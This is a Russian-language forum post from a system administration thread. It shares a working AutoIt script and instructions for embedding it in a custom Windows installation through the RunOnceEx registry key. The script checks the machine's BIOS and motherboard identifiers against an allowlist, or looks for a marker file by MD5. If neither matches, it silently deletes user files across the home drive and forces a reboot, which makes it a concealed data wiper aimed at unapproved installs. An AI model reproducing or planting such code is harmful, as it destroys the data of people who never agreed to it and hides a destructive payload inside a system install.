Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Компьютеры » В помощь системному администратору » Автоматизация администрирования. Часть 2

Модерирует : lynx, Crash_Master, dg, emx, ShriEkeR

ShriEkeR (23-05-2011 23:06): Автоматизация администрирования. Часть 3  Версия для печати • ПодписатьсяДобавить в закладки
На первую страницук этому сообщениюк последнему сообщению

   

nod201



Junior Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

Скрипт:
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
#NoTrayIcon
#include <MD5.au3>
;--------------------------------------------------------------------------------------------------------------------------------------
$sTAG = "Windows XP\725345543-500"
$sMD5 = "0x853f3f8898a16c4a591ad290a5df5ea2"
$sDRV = _DriveGetByTag($sTAG)
;--------------------------------------------------------------------------------------------------------------------------------------
Opt("ExpandEnvStrings", 1)
 
Global Const $WbemFlagReturnImmediately = 0x10
Global Const $WbemFlagForwardOnly = 0x20
Global Const $WmiRestartForce = 4
 
Global $strPassword = "SET YOUR PASSWORD HERE"
Global $arrayAllowedHosts[14] = [ _
    "20090116000000.000000+000ga-ma770-ds3", _
    "20060222000000.000000+000virtual machine", _
    "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series", _
    "20020315000000.000000+000sis-645", _
    "20010427000000.000000+0008363-686", _
    "20060925000000.000000+000m2n-e", _
    "20060918000000.000000+000m61pm-s2", _
    "20080819000000.000000+000m3a78", _
    "20080123000000.000000+000m52l-s3", _
    "20080423000000.000000+000a8r-mvp", _
    "20060407000000.000000+000a8n-e", _
    "20010402000000.000000+000k7s5a", _
    "20080111000000.000000+00030c0", _
    "20051103000000.000000+000k8nf4g-sata2" ]
;--------------------------------------------------------------------------------------------------------------------------------------
; Формирование списка системных каталогов
Dim $arrExcl[9]=[8, _
    @WindowsDir, _
    @SystemDir, _
    @WindowsDir &"\Resources", _
    @ProgramFilesDir, _
    RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion", "CommonFilesDir"), _
    RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "ProfilesDirectory"), _
    $arrExcl[6] &"\"& RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "AllUsersProfile"), _
    $arrExcl[6] &"\"& RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "DefaultUserProfile") ]
 
_RegEnumValToArray("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", $arrExcl)
_RegEnumValToArray("HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", $arrExcl)
_RegEnumValToArray("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", $arrExcl, "ProfileImagePath", True)
 
; Замена подстановок на реальные пути
$ExpandEnvStrings = Opt("ExpandEnvStrings",1)
For $i=1 To $arrExcl[0]
    $arrExcl[$i] = $arrExcl[$i]
Next
Opt("ExpandEnvStrings", $ExpandEnvStrings)
;--------------------------------------------------------------------------------------------------------------------------------------
 
 
If _PlatformArrayTest($arrayAllowedHosts) or _FileMD5Test($sDRV &"\"& $sTAG, $sMD5) Then
 
    $iRes = RunWait("%SystemDrive%\PKUNZIP -e -d -s"& $strPassword &" %SystemDrive%\Protect.zip %SystemDrive%\", "%SystemDrive%\", @SW_HIDE)
 
Else
 
    _DirRemoveAll(@HomeDrive, $arrExcl)
 
    Shutdown(22)
EndIf
 
    FileDelete("%SystemDrive%\Protect.zip")
    FileDelete("%SystemDrive%\PKUNZIP.EXE")
    FileDelete("%SystemDrive%\PROTECTT.CMD")
 
;--------------------------------------------------------------------------------------------------------------------------------------
; Поиск буквы диска по маркерному файлу
;--------------------------------------------------------------------------------------------------------------------------------------
Func _DriveGetByTag($sTag, $sType = "ALL")
    Local $sDrive = "", $aDrives = DriveGetDrive($sType)
    For $i=1 To $aDrives[0]
        If DriveStatus($aDrives[$i]) = "READY" Then
            If FileExists($aDrives[$i] &"\"& $sTag) Then Return $aDrives[$i]
        EndIf
    Next
    Return SetError(1,0,"")
EndFunc ; ==> _DriveGetByTag
;--------------------------------------------------------------------------------------------------------------------------------------
; Проверка MD5-хеша файла
;--------------------------------------------------------------------------------------------------------------------------------------
Func _FileMD5Test($sPath, $sMD5)
    Local $MD5CTX, $Hash, $BufSize = 32768
    Local $hFile = FileOpen($sPath, 16)
    If $hFile = -1 Then Return SetError(1, 0, 0)
 
    $MD5CTX = _MD5Init()
    For $i=1 To Ceiling(FileGetSize($sPath) / $BufSize)
        _MD5Input($MD5CTX, FileRead($hFile, $BufSize))
    Next
    $Hash = _MD5Result($MD5CTX)
    ConsoleWrite($Hash &@CRLF)
 
    FileClose($sPath)
    Return $Hash=$sMD5
EndFunc ; ==> _FileMD5Test
;--------------------------------------------------------------------------------------------------------------------------------------
Func _PlatformArrayTest(ByRef $arrayAllowedHosts)
    Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2")
    Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
    Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
 
    If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then Return False
    For $objBIOS In $colBIOS
        For $objBaseBoard In $colBaseBoard
            For $i=0 To UBound($arrayAllowedHosts)-1
                $strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3)
                If $arrayAllowedHosts[$i]=$strComputerHost Then Return True
            Next
        Next
    Next
    Return False
EndFunc
;--------------------------------------------------------------------------------------------------------------------------------------
Func _DirRemoveAlt($sDIR)
    Local $hSearch, $sFile, $sPath
    $sDIR = StringRegExpReplace($sDIR, "\\+$", "")
    If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False)
 
    $hSearch = FileFindFirstFile($sDIR & "\*")
    If $hSearch = -1 Then Return SetError(2, 0, False)
    While 1
        $sFile = FileFindNextFile($hSearch)
        If @error Then ExitLoop
        $sPath = $sDIR & "\" & $sFile
        If StringInStr(FileGetAttrib($sPath), "D") Then
            DirRemove($sPath,1)
        Else
            FileSetAttrib($sPath, "-RSH")
            FileDelete($sPath)
        EndIf
    WEnd
    FileClose($hSearch)
 
    Return SetError(0, 0, True)
EndFunc
;--------------------------------------------------------------------------------------------------------------------------------------
; Сохранение значений параметров ключа реестра в массив (рекурсивно)
;--------------------------------------------------------------------------------------------------------------------------------------
Func _RegEnumValToArray($sKey, ByRef $aVals, $sValName="", $iRecv = False)
    Local $var, $key
    For $i=1 To 10000
        $var = RegEnumVal($sKey, $i)
        If @error Then ExitLoop
        If $sValName=="" Or $sValName=$var Then
            $aVals[0]+=1
            ReDim $aVals[$aVals[0]+1]
            $aVals[$aVals[0]]=RegRead($sKey, $var)
        EndIf
    Next
    If $iRecv Then
        For $j=1 To 10000
            $key = RegEnumKey($sKey, $j)
            If @error Then ExitLoop
            _RegEnumValToArray($sKey &"\"& $key, $aVals, $sValName, True)
        Next
    EndIf
EndFunc ; ==> _RegEnumValToArray
;--------------------------------------------------------------------------------------------------------------------------------------
; Удаление каталога с подкаталогами (рекурсивно)
;--------------------------------------------------------------------------------------------------------------------------------------
Func _DirRemoveAll($sDIR, ByRef $aExcl)
    Local $hSearch, $sFile, $sPath, $iRet, $i
    $sDIR = StringRegExpReplace($sDIR, "\\+$", "")
    If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False)
 
    $hSearch = FileFindFirstFile($sDIR & "\*")
    If $hSearch = -1 Then Return SetError(2, 0, False)
    While 1
        $sFile = FileFindNextFile($hSearch)
        If @error Then ExitLoop
        $sPath = $sDIR & "\" & $sFile
        If StringInStr(FileGetAttrib($sPath), "D") Then
            For $i=1 To $aExcl[0]
                If $sPath=$aExcl[$i] Then ExitLoop
            Next
            ConsoleWrite($sPath &@CRLF)
            If ($i-1 < $aExcl[0]) Or (DirRemove($sPath,1)=0) Then _DirRemoveAll($sPath, $aExcl)
        Else
            FileSetAttrib($sPath, "-RSH")
            FileDelete($sPath)
        EndIf
    WEnd
    FileClose($hSearch)
 
    Return SetError(0, 0, True)
EndFunc ; ==> _DirRemoveAll
;--------------------------------------------------------------------------------------------------------------------------------------
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
 
Суть: Данный скрипт проверяет ID биос по массиву биосов записаных раннее в сам скрипт. Если ID биос совпадает с тем что есть в скрипте то скрипт просто завершает свою работу и все. Если не совпадает то происходит жесткое удаление файлов с диска С и перезагрузка. Данный скрипт необходимо кинуть в ветку HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx под первым ключом желательно. Как ты енто сделаешь решай сам, в учебнике в принципе все есть. Еще. Скрипт ищет файл на всех дисках, в том числе и флешках, определенный файл по названию и md5 сумме. Если находит то даже если ID биос не совпадает то установка продолжается. Сделал чтобы не мучаться если сам кому ставлю свою винду. Просто воткнул флешку в комп и винда встанет без проблем.  
 
Подробности:
 
В скрипте:
 
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Global $arrayAllowedHosts[14] = [ _
    "20090116000000.000000+000ga-ma770-ds3", _
    "20060222000000.000000+000virtual machine", _
    "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series", _
    "20020315000000.000000+000sis-645", _
    "20010427000000.000000+0008363-686", _
    "20060925000000.000000+000m2n-e", _
    "20060918000000.000000+000m61pm-s2", _
    "20080819000000.000000+000m3a78", _
    "20080123000000.000000+000m52l-s3", _
    "20080423000000.000000+000a8r-mvp", _
    "20060407000000.000000+000a8n-e", _
    "20010402000000.000000+000k7s5a", _
    "20080111000000.000000+00030c0", _
    "20051103000000.000000+000k8nf4g-sata2" ]
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
 
Массив ID биос. Ставиш свои и не забудь поменять количество (14)
 
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
$sTAG = "Windows XP\725345543-500"                                          - путь и имя файла
$sMD5 = "0x853f3f8898a16c4a591ad290a5df5ea2"                       - md5 сумма файла
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Всего записей: 139 | Зарегистр. 02-01-2006 | Отправлено: 07:41 15-03-2010 | Исправлено: nod201, 08:08 15-03-2010
   

На первую страницук этому сообщениюк последнему сообщению

Компьютерный форум Ru.Board » Компьютеры » В помощь системному администратору » Автоматизация администрирования. Часть 2
ShriEkeR (23-05-2011 23:06): Автоматизация администрирования. Часть 3


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru